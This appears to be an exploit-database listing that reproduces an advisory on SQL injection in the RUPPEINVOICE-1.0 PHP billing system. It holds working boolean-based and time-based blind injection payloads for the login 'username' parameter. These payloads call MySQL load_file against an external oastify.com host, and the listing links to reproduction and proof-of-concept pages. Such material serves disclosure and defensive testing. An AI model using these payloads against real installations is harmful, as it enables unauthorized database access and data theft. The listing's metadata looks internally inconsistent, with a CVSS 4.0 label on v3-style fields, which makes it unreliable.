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RUPPEINVOICE-1.0 Multiple-SQLi

CVE Category Price Severity
CVE-2020-23634 CWE-89 $500 High
Author Risk Exploitation Type Date
Author Name High Remote 2024-03-11
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.61746 0.84737

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024030024

Below is a copy:

RUPPEINVOICE-1.0 Multiple-SQLi
## Title: RUPPEINVOICE-1.0 Multiple-SQLi
## Author: nu11secur1ty
## Date: 03/09/2024
## Vendor: https://www.mayurik.com/
## Software: https://www.sourcecodester.com/php/14831/billing-system-project-php-source-code-free-download.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The username parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\abpf13cdvni2r5g9hn26os0bd2jv7m0ardf52vqk.oastify.com\\fmd'))+' was submitted in the username parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get all information from the system by using this vulnerability!

STATUS: HIGH- Vulnerability

[+]Payload:
```mysql
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: username=zBuveHif'+(select load_file('\\\\abpf13cdvni2r5g9hn26os0bd2jv7m0ardf52vqk.oastify.com\\fmd'))+'' OR NOT 6356=6356 AND 'Eocq'='Eocq&password=g7J!m3v!W2&login=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=zBuveHif'+(select load_file('\\\\abpf13cdvni2r5g9hn26os0bd2jv7m0ardf52vqk.oastify.com\\fmd'))+'' AND (SELECT 4013 FROM (SELECT(SLEEP(7)))BnHP) AND 'bCQt'='bCQt&password=g7J!m3v!W2&login=
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/RUPPEINVOICE-1.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/03/ruppeinvoice-10-multiple-sqli.html)

## Time spend:
00:35:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>

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